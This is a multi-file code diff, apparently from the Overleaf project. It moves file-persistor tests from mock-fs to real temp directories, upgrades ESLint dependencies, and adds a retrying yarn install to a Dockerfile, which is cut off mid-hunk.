|
||||||
|
|
||||||
describe('FSPersistorTests', function () {
|
describe('FSPersistorTests', function () {
|
||||||
const localFiles = {
|
const fileContents = {
|
||||||
'/uploads/info.txt': Buffer.from('This information is critical', {
|
'info.txt': Buffer.from('This information is critical', {
|
||||||
encoding: 'utf-8',
|
encoding: 'utf-8',
|
||||||
}),
|
}),
|
||||||
'/uploads/other.txt': Buffer.from('Some other content', {
|
'other.txt': Buffer.from('Some other content', {
|
||||||
encoding: 'utf-8',
|
encoding: 'utf-8',
|
||||||
}),
|
}),
|
||||||
}
|
}
|
||||||
const location = '/bucket'
|
let tmpDir
|
||||||
|
let location
|
||||||
|
let notADirPath
|
||||||
const files = {
|
const files = {
|
||||||
wombat: 'animals/wombat.tex',
|
wombat: 'animals/wombat.tex',
|
||||||
giraffe: 'animals/giraffe.tex',
|
giraffe: 'animals/giraffe.tex',
|
||||||
potato: 'vegetables/potato.tex',
|
potato: 'vegetables/potato.tex',
|
||||||
}
|
}
|
||||||
|
|
||||||
|
beforeEach(function () {
|
||||||
|
tmpDir = fs.mkdtempSync(Path.join(os.tmpdir(), 'fs-persistor-test-'))
|
||||||
|
createTree(tmpDir, {
|
||||||
|
uploads: {
|
||||||
|
'info.txt': fileContents['info.txt'],
|
||||||
|
'other.txt': fileContents['other.txt'],
|
||||||
|
},
|
||||||
|
'not-a-dir':
|
||||||
|
'This regular file is meant to prevent using this path as a directory',
|
||||||
|
directory: {
|
||||||
|
subdirectory: {},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
notADirPath = Path.join(tmpDir, 'not-a-dir')
|
||||||
|
location = Path.join(tmpDir, 'bucket')
|
||||||
|
})
|
||||||
|
|
||||||
|
afterEach(function () {
|
||||||
|
fs.rmSync(tmpDir, { recursive: true })
|
||||||
|
})
|
||||||
|
|
||||||
const scenarios = [
|
const scenarios = [
|
||||||
{
|
{
|
||||||
description: 'default settings',
|
description: 'default settings',
|
||||||
@@ -54,31 +91,26 @@ describe('FSPersistorTests', function () {
|
|||||||
persistor = new FSPersistor(scenario.settings)
|
persistor = new FSPersistor(scenario.settings)
|
||||||
})
|
})
|
||||||
|
|
||||||
beforeEach(function () {
|
|
||||||
mockFs({
|
|
||||||
...localFiles,
|
|
||||||
'/not-a-dir':
|
|
||||||
'This regular file is meant to prevent using this path as a directory',
|
|
||||||
'/directory/subdirectory': {},
|
|
||||||
})
|
|
||||||
})
|
|
||||||
|
|
||||||
afterEach(function () {
|
|
||||||
mockFs.restore()
|
|
||||||
})
|
|
||||||
|
|
||||||
describe('sendFile', function () {
|
describe('sendFile', function () {
|
||||||
it('should copy the file', async function () {
|
it('should copy the file', async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return an error if the file cannot be stored', async function () {
|
it('should return an error if the file cannot be stored', async function () {
|
||||||
await expect(
|
await expect(
|
||||||
persistor.sendFile('/not-a-dir', files.wombat, '/uploads/info.txt')
|
persistor.sendFile(
|
||||||
|
notADirPath,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
).to.be.rejectedWith(Errors.WriteError)
|
).to.be.rejectedWith(Errors.WriteError)
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
@@ -88,7 +120,9 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe("when the file doesn't exist", function () {
|
describe("when the file doesn't exist", function () {
|
||||||
beforeEach(function () {
|
beforeEach(function () {
|
||||||
stream = fs.createReadStream('/uploads/info.txt')
|
stream = fs.createReadStream(
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
@@ -96,7 +130,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -109,7 +143,7 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('on error', function () {
|
describe('on error', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await expect(
|
await expect(
|
||||||
persistor.sendStream('/not-a-dir', files.wombat, stream)
|
persistor.sendStream(notADirPath, files.wombat, stream)
|
||||||
).to.be.rejectedWith(Errors.WriteError)
|
).to.be.rejectedWith(Errors.WriteError)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -129,13 +163,12 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('when the md5 hash matches', function () {
|
describe('when the md5 hash matches', function () {
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
await persistor.sendStream(location, files.wombat, stream, {
|
await persistor.sendStream(location, files.wombat, stream, {
|
||||||
sourceMd5: md5(localFiles['/uploads/info.txt']),
|
sourceMd5: md5(fileContents['info.txt']),
|
||||||
})
|
})
|
||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -169,9 +202,11 @@ describe('FSPersistorTests', function () {
|
|||||||
await persistor.sendFile(
|
await persistor.sendFile(
|
||||||
location,
|
location,
|
||||||
files.wombat,
|
files.wombat,
|
||||||
'/uploads/info.txt'
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
|
stream = fs.createReadStream(
|
||||||
|
Path.join(tmpDir, 'uploads', 'other.txt')
|
||||||
)
|
)
|
||||||
stream = fs.createReadStream('/uploads/other.txt')
|
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
@@ -179,7 +214,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/other.txt'])).to.be.true
|
expect(contents.equals(fileContents['other.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -192,7 +227,7 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('on error', function () {
|
describe('on error', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await expect(
|
await expect(
|
||||||
persistor.sendStream('/not-a-dir', files.wombat, stream)
|
persistor.sendStream(notADirPath, files.wombat, stream)
|
||||||
).to.be.rejectedWith(Errors.WriteError)
|
).to.be.rejectedWith(Errors.WriteError)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -200,8 +235,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -215,13 +249,12 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('when the md5 hash matches', function () {
|
describe('when the md5 hash matches', function () {
|
||||||
it('should write the stream to disk', async function () {
|
it('should write the stream to disk', async function () {
|
||||||
await persistor.sendStream(location, files.wombat, stream, {
|
await persistor.sendStream(location, files.wombat, stream, {
|
||||||
sourceMd5: md5(localFiles['/uploads/other.txt']),
|
sourceMd5: md5(fileContents['other.txt']),
|
||||||
})
|
})
|
||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/other.txt'])).to.be
|
expect(contents.equals(fileContents['other.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -238,8 +271,7 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.wombat)
|
scenario.fsPath(files.wombat)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
.true
|
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should delete the temporary file', async function () {
|
it('should delete the temporary file', async function () {
|
||||||
@@ -254,13 +286,17 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('getObjectStream', function () {
|
describe('getObjectStream', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return a string with the object contents', async function () {
|
it('should return a string with the object contents', async function () {
|
||||||
const stream = await persistor.getObjectStream(location, files.wombat)
|
const stream = await persistor.getObjectStream(location, files.wombat)
|
||||||
const contents = await streamToBuffer(stream)
|
const contents = await streamToBuffer(stream)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should support ranges', async function () {
|
it('should support ranges', async function () {
|
||||||
@@ -274,8 +310,8 @@ describe('FSPersistorTests', function () {
|
|||||||
)
|
)
|
||||||
const contents = await streamToBuffer(stream)
|
const contents = await streamToBuffer(stream)
|
||||||
// end is inclusive in ranges, but exclusive in slice()
|
// end is inclusive in ranges, but exclusive in slice()
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'].slice(5, 17)))
|
expect(contents.equals(fileContents['info.txt'].slice(5, 17))).to.be
|
||||||
.to.be.true
|
.true
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should give a NotFoundError if the file does not exist', async function () {
|
it('should give a NotFoundError if the file does not exist', async function () {
|
||||||
@@ -287,13 +323,17 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('getObjectSize', function () {
|
describe('getObjectSize', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return the file size', async function () {
|
it('should return the file size', async function () {
|
||||||
expect(
|
expect(
|
||||||
await persistor.getObjectSize(location, files.wombat)
|
await persistor.getObjectSize(location, files.wombat)
|
||||||
).to.equal(localFiles['/uploads/info.txt'].length)
|
).to.equal(fileContents['info.txt'].length)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should throw a NotFoundError if the file does not exist', async function () {
|
it('should throw a NotFoundError if the file does not exist', async function () {
|
||||||
@@ -305,7 +345,11 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('copyObject', function () {
|
describe('copyObject', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('Should copy the file to the new location', async function () {
|
it('Should copy the file to the new location', async function () {
|
||||||
@@ -313,13 +357,17 @@ describe('FSPersistorTests', function () {
|
|||||||
const contents = await fsPromises.readFile(
|
const contents = await fsPromises.readFile(
|
||||||
scenario.fsPath(files.potato)
|
scenario.fsPath(files.potato)
|
||||||
)
|
)
|
||||||
expect(contents.equals(localFiles['/uploads/info.txt'])).to.be.true
|
expect(contents.equals(fileContents['info.txt'])).to.be.true
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
describe('deleteObject', function () {
|
describe('deleteObject', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
await fsPromises.access(scenario.fsPath(files.wombat))
|
await fsPromises.access(scenario.fsPath(files.wombat))
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -337,7 +385,11 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('deleteDirectory', function () {
|
describe('deleteDirectory', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
await fsPromises.access(scenario.fsPath(file))
|
await fsPromises.access(scenario.fsPath(file))
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -365,7 +417,11 @@ describe('FSPersistorTests', function () {
|
|||||||
|
|
||||||
describe('checkIfObjectExists', function () {
|
describe('checkIfObjectExists', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
await persistor.sendFile(location, files.wombat, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
files.wombat,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should return true for existing files', async function () {
|
it('should return true for existing files', async function () {
|
||||||
@@ -384,13 +440,17 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('directorySize', function () {
|
describe('directorySize', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
it('should sum directory files size', async function () {
|
it('should sum directory files size', async function () {
|
||||||
expect(await persistor.directorySize(location, 'animals')).to.equal(
|
expect(await persistor.directorySize(location, 'animals')).to.equal(
|
||||||
2 * localFiles['/uploads/info.txt'].length
|
2 * fileContents['info.txt'].length
|
||||||
)
|
)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -404,7 +464,11 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('listDirectoryKeys', function () {
|
describe('listDirectoryKeys', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -427,7 +491,11 @@ describe('FSPersistorTests', function () {
|
|||||||
describe('listDirectoryStats', function () {
|
describe('listDirectoryStats', function () {
|
||||||
beforeEach(async function () {
|
beforeEach(async function () {
|
||||||
for (const file of Object.values(files)) {
|
for (const file of Object.values(files)) {
|
||||||
await persistor.sendFile(location, file, '/uploads/info.txt')
|
await persistor.sendFile(
|
||||||
|
location,
|
||||||
|
file,
|
||||||
|
Path.join(tmpDir, 'uploads', 'info.txt')
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -438,7 +506,7 @@ describe('FSPersistorTests', function () {
|
|||||||
expect(keys).to.include(scenario.fsPath(files.wombat))
|
expect(keys).to.include(scenario.fsPath(files.wombat))
|
||||||
expect(keys).to.include(scenario.fsPath(files.giraffe))
|
expect(keys).to.include(scenario.fsPath(files.giraffe))
|
||||||
for (const stat of stats) {
|
for (const stat of stats) {
|
||||||
expect(stat.size).to.equal(localFiles['/uploads/info.txt'].length)
|
expect(stat.size).to.equal(fileContents['info.txt'].length)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-16
@@ -3,39 +3,41 @@
|
|||||||
"private": true,
|
"private": true,
|
||||||
"packageManager": "yarn@4.14.1",
|
"packageManager": "yarn@4.14.1",
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
"@eslint/compat": "^2.1.0",
|
||||||
|
"@eslint/js": "^10.0.1",
|
||||||
"@overleaf/eslint-plugin": "workspace:*",
|
"@overleaf/eslint-plugin": "workspace:*",
|
||||||
"@prettier/plugin-pug": "^3.4.0",
|
"@prettier/plugin-pug": "^3.4.0",
|
||||||
"@types/chai": "^4.3.0",
|
"@types/chai": "^4.3.0",
|
||||||
"@types/chai-as-promised": "^7.1.8",
|
"@types/chai-as-promised": "^7.1.8",
|
||||||
"@types/mocha": "^10.0.6",
|
"@types/mocha": "^10.0.6",
|
||||||
"@types/multer": "^2.1.0",
|
"@types/multer": "^2.1.0",
|
||||||
"@typescript-eslint/eslint-plugin": "8.50.0",
|
"@typescript-eslint/eslint-plugin": "^8.59.4",
|
||||||
"@typescript-eslint/parser": "^8.50.0",
|
"@typescript-eslint/parser": "^8.59.4",
|
||||||
"@vitest/eslint-plugin": "^1.5.0",
|
"@vitest/eslint-plugin": "^1.5.0",
|
||||||
"eslint": "^8.15.0",
|
"eslint": "^10.4.0",
|
||||||
"eslint-config-prettier": "^8.5.0",
|
"eslint-config-prettier": "^10.0.1",
|
||||||
"eslint-config-standard": "^17.0.0",
|
"eslint-formatter-unix": "^8.40.0",
|
||||||
"eslint-plugin-chai-expect": "^3.0.0",
|
"eslint-plugin-chai-expect": "^4.0.0",
|
||||||
"eslint-plugin-chai-friendly": "^0.7.2",
|
"eslint-plugin-chai-friendly": "^1.1.0",
|
||||||
"eslint-plugin-cypress": "^2.15.1",
|
"eslint-plugin-cypress": "^4.1.0",
|
||||||
"eslint-plugin-import": "^2.26.0",
|
"eslint-plugin-import": "^2.32.0",
|
||||||
"eslint-plugin-mocha": "^10.1.0",
|
"eslint-plugin-mocha": "^11.0.0",
|
||||||
"eslint-plugin-n": "^15.7.0",
|
"eslint-plugin-n": "^18.0.0",
|
||||||
"eslint-plugin-prettier": "^4.0.0",
|
"eslint-plugin-promise": "^7.2.1",
|
||||||
"eslint-plugin-promise": "^6.0.0",
|
|
||||||
"eslint-plugin-unicorn": "^56.0.0",
|
"eslint-plugin-unicorn": "^56.0.0",
|
||||||
|
"globals": "^17.6.0",
|
||||||
"prettier": "3.7.4",
|
"prettier": "3.7.4",
|
||||||
"prettier-plugin-groovy": "0.2.1",
|
"prettier-plugin-groovy": "0.2.1",
|
||||||
"typescript": "^5.9.3"
|
"typescript": "^5.9.3"
|
||||||
},
|
},
|
||||||
"engines": {
|
"engines": {
|
||||||
"node": ">=20.0.0"
|
"node": ">=20.19.0"
|
||||||
},
|
},
|
||||||
"resolutions": {
|
"resolutions": {
|
||||||
"@xmldom/xmldom": "0.8.13",
|
"@xmldom/xmldom": "0.8.13",
|
||||||
"argparse/underscore": "1.13.8",
|
"argparse/underscore": "1.13.8",
|
||||||
"east/underscore": "1.13.8",
|
"east/underscore": "1.13.8",
|
||||||
"referer-parser/js-yaml": "^4.1.0",
|
"referer-parser/js-yaml": "^4.1.1",
|
||||||
"sandboxed-module": "patch:sandboxed-module@npm%3A2.0.4#~/.yarn/patches/sandboxed-module-npm-2.0.4-f8b45aacc9.patch",
|
"sandboxed-module": "patch:sandboxed-module@npm%3A2.0.4#~/.yarn/patches/sandboxed-module-npm-2.0.4-f8b45aacc9.patch",
|
||||||
"request/tough-cookie": "5.1.2",
|
"request/tough-cookie": "5.1.2",
|
||||||
"request/form-data": "2.5.5",
|
"request/form-data": "2.5.5",
|
||||||
@@ -99,7 +101,6 @@
|
|||||||
"knip": "5.64.1",
|
"knip": "5.64.1",
|
||||||
"eslint-plugin-testing-library": "7.5.3",
|
"eslint-plugin-testing-library": "7.5.3",
|
||||||
"chart.js": "4.0.1",
|
"chart.js": "4.0.1",
|
||||||
"mock-fs": "5.2.0",
|
|
||||||
"@customerio/cdp-analytics-node": "0.3.9",
|
"@customerio/cdp-analytics-node": "0.3.9",
|
||||||
"@google-cloud/bigquery": "8.1.1",
|
"@google-cloud/bigquery": "8.1.1",
|
||||||
"moment": "2.29.4",
|
"moment": "2.29.4",
|
||||||
|
|||||||
@@ -1,29 +0,0 @@
|
|||||||
{
|
|
||||||
"extends": [
|
|
||||||
"eslint:recommended",
|
|
||||||
"standard",
|
|
||||||
"prettier"
|
|
||||||
],
|
|
||||||
"plugins": [
|
|
||||||
"unicorn"
|
|
||||||
],
|
|
||||||
"parserOptions": {
|
|
||||||
"ecmaVersion": 2020
|
|
||||||
},
|
|
||||||
"env": {
|
|
||||||
"node": true
|
|
||||||
},
|
|
||||||
"rules": {
|
|
||||||
// Do not allow importing of implicit dependencies.
|
|
||||||
"import/no-extraneous-dependencies": "error",
|
|
||||||
"unicorn/prefer-node-protocol": "error"
|
|
||||||
},
|
|
||||||
"overrides": [
|
|
||||||
// Extra rules for Cypress tests
|
|
||||||
{ "files": ["**/*.spec.ts"], "extends": ["plugin:cypress/recommended"] }
|
|
||||||
],
|
|
||||||
"ignorePatterns": [
|
|
||||||
"hotfix/",
|
|
||||||
"develop/"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
+37
-7
@@ -3,7 +3,8 @@
|
|||||||
# Overleaf Community Edition (overleaf/overleaf)
|
# Overleaf Community Edition (overleaf/overleaf)
|
||||||
# ---------------------------------------------
|
# ---------------------------------------------
|
||||||
|
|
||||||
ARG OVERLEAF_BASE_TAG=sharelatex/sharelatex-base:latest
|
#ARG OVERLEAF_BASE_TAG=sharelatex/sharelatex-base:latest
|
||||||
|
ARG OVERLEAF_BASE_TAG=sharelatex/sharelatex-base:5
|
||||||
FROM $OVERLEAF_BASE_TAG
|
FROM $OVERLEAF_BASE_TAG
|
||||||
|
|
||||||
WORKDIR /overleaf
|
WORKDIR /overleaf
|
||||||
@@ -18,26 +19,55 @@ COPY server-ce/genScript.js server-ce/services.js /overleaf/
|
|||||||
# Corepack setup, shared between all the images.
|
# Corepack setup, shared between all the images.
|
||||||
ENV PATH="/overleaf/node_modules/.bin:$PATH"
|
ENV PATH="/overleaf/node_modules/.bin:$PATH"
|
||||||
ENV COREPACK_HOME=/opt/corepack
|
ENV COREPACK_HOME=/opt/corepack
|
||||||
RUN corepack enable && corepack install -g yarn@4.14.1
|
#RUN corepack enable && corepack install -g yarn@4.14.1
|
||||||
|
RUN corepack enable && corepack prepare yarn@4.14.1 --activate
|
||||||
ENV COREPACK_ENABLE_NETWORK=0
|
ENV COREPACK_ENABLE_NETWORK=0
|
||||||
|
|
||||||
# Install yarn dependencies
|
# Install yarn dependencies
|
||||||
# -------------------------
|
# -------------------------
|
||||||
|
# The git-sourced @replit/codemirror-* deps are prepared with Yarn Classic,
|
||||||
|
# whose cache lives in /usr/local/share/.cache/yarn. We mount that as a *tmpfs*
|
||||||
|
# (fresh every build) rather than a persistent BuildKit cache: when it was
|
||||||
|
# persistent, BuildKit would garbage-collect/evict part of it between builds,
|
||||||
|
# leaving a half-populated cache that Yarn Classic then tripped over (missing
|
||||||
|
# .yarn-tarball.tgz / EEXIST). A clean cache per build is reliable; the cost is
|
||||||
|
# re-fetching that small set of git deps. The valuable Berry cache
|
||||||
|
# (server-ce-yarn-cache) stays persistent. YARN_NETWORK_CONCURRENCY=1 is kept
|
||||||
|
# as cheap insurance against concurrent writes to the fresh cache.
|
||||||
|
#
|
||||||
|
# Preparing those git deps also makes Yarn Classic fetch esbuild's ~10
|
||||||
|
# per-platform binaries, whose downloads occasionally arrive truncated ("the
|
||||||
|
# file appears to be corrupt" / missing .yarn-tarball.tgz). Since the tmpfs is
|
||||||
|
# fresh each build there is nothing to fall back to, so we wrap the step in a
|
||||||
|
# small retry loop that wipes the classic cache and re-fetches before failing.
|
||||||
RUN --mount=type=cache,target=/root/.cache \
|
RUN --mount=type=cache,target=/root/.cache \
|
||||||
--mount=type=cache,target=/root/.yarn/berry/cache,id=server-ce-yarn-cache \
|
--mount=type=cache,target=/root/.yarn/berry/cache,id=server-ce-yarn-cache \
|
||||||
--mount=type=cache,target=/usr/local/share/.cache/yarn,id=server-ce-yarn-fallback-cache \
|
--mount=type=tmpfs,target=/usr/local/share/.cache/yarn \
|
||||||
--mount=type=tmpfs,target=/tmp node genScript install | bash
|
--mount=type=tmpfs,target=/tmp \
|
||||||
|
for i in 1 2 3; do \
|
||||||
|
node genScript install | YARN_NETWORK_CONCURRENCY=1 bash && exit 0; \
|
||||||
|
echo "==== install attempt $i failed; wiping Yarn Classic cache and retrying ===="; \
|
||||||
|
rm -rf /usr/local/share/.cache/yarn/* 2>/dev/null || true; \
|
||||||
|
done; \
|
||||||
|
exit 1
|
||||||
|
|
||||||
# Add the actual source files
|
# Add the actual source files
|
||||||
# ---------------------------
|
# ---------------------------
|
||||||
COPY --parents libraries/ services/ tools/migrations/ /overleaf/
|
COPY --parents libraries/ services/ tools/migrations/ /overleaf/
|
||||||
RUN --mount=type=cache,target=/root/.cache \
|
RUN --mount=type=cache,target=/root/.cache \
|
||||||
--mount=type=cache,target=/root/.yarn/berry/cache,id=server-ce-yarn-cache \
|
